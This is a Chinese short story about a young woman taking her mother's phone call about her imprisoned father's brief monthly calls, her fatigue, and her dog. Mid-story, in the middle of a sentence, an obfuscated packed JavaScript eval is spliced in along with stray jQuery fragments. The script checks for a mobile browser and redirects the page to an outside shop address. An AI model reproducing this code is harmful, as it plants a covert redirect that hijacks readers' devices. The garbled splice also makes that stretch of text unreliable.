林深醒的时候，天已经黑了。窗帘没拉，房间里昏昏沉沉，她躺在床上看了一会儿天花板，脑子还是木的。最近总是这样，睡很久，醒了还是累。
手机在床头震了一下。母亲。林深接起来。
“醒了？”
“嗯。”
“几点睡的？”
“早上。”
电话那头安静了一会儿。
“又是夜班？”
“嗯。”
母亲没继续说。过了几秒，她才开口。
“你爸收监了。”
林深握着手机，没说话。这件事她知道，判决已经下来了，十二年。结果落地以后，反而没有想象中那么剧烈，没有什么天塌下来的瞬间，只是所有人忽然都安静了。以前还在等——等消息，等结果，等二审，等一个也许会改变的可能。现在不用等了。十二年摆在那里，像一堵墙。
母亲说。
“今天他打电话了。”
“嗯。”
“打给我的。”
“嗯。”
“就五分钟。”
林深翻了个身，看着窗外。
“说什么了？”
母亲那边传来一点很轻的声音，像是在收拾桌上的东西。
“也没说什么，问你最近怎么样。”
林深没接话。母亲继续说。
“我说挺好的。”
房间里很安静。来福趴在地板上睡觉，听见声音，耳朵动了一下，又继续趴着。母亲又说。
“还问来福。”
林深低头看了一眼。
“它挺好的。”
“我也是这么说的。”
电话里又安静下来。有些话说了也没用，时间也只有五分钟，最后能说出口的，也只剩天气、身体、吃饭、狗。
母亲说。
“他说让你别总熬夜。”
林深忽然笑了一下。
“他还管这个。”
“嗯。”
“他自己以前也熬夜。”
母亲没笑。过了一会儿，她说。
“到点就断了。”
林深没说话。
“他说到一半，电话就没了。”
母亲的声音很平，平到像在说一件很普通的事。林深却忽然觉得胸口有点闷。五分钟，一个月一次，说到一半就没了。没有再见，也没有保重。系统掐断的时候，不管话说没说完，都一样断在那里。
母亲说。
“下次就是下个月了。”
林深轻轻嗯了一声。
来福从地上爬起来，慢慢走到床边，林深伸手摸了摸它的脑袋。母亲问。
“最近是不是很累？”
“没有。”
“你声音没精神。”
“刚睡醒。”
“酒店现在忙了？”
“嗯。”
“要是太累，就休息休息。”
“没事。”
这句话刚说出口，林深忽然想起前几天——Helen问她“没事吧”，她说没事；Jason问她“怎么了”，她说没事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847443|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
；Tom问她“最近没休息好”，她还是说没事。好像所有人都在问，而她永远只有一个答案。
母亲在电话那头叹了口气。
“吃饭了吗？”
“还没。”
“去吃点东西。”
“知道了。”
“别老点外卖。”
“嗯。”
“别总熬夜。”
“嗯。”
“照顾好自己。”
“嗯。”
电话挂断以后，房间重新安静下来。林深坐在床上，没有动。手机屏幕慢慢暗下去。来福把脑袋搭在她膝盖边，过了一会儿，又很轻地叫了一声。
“二百五。”
林深低头看它，忽然笑了一下。
“你倒是一直没变。”
来福摇了摇尾巴。
窗外天已经彻底黑了，楼下的烧烤摊开始营业，油烟和说话声隐隐传上来。林深起身走到厨房，冰箱里只剩半瓶可乐，她看了一会儿，又关上。肚子有点饿，却懒得下楼，最后还是给自己泡了碗面。热水慢慢升起白雾，手机放在桌上，没有消息，没有电话，也没有人催她上班。房间难得安静，可她坐在那里，却忽然觉得有点空。像有些东西不是突然没了，是每个月少一点——五分钟少一点，五分钟少一点，少到最后，连一句话都说不完整。
面泡好了，林深低头吃了一口，已经有些软了。她忽然想起很久以前，父亲总说，别吃泡面。
林深看着那碗已经泡过头的面，过了一会儿，还是继续吃了下去。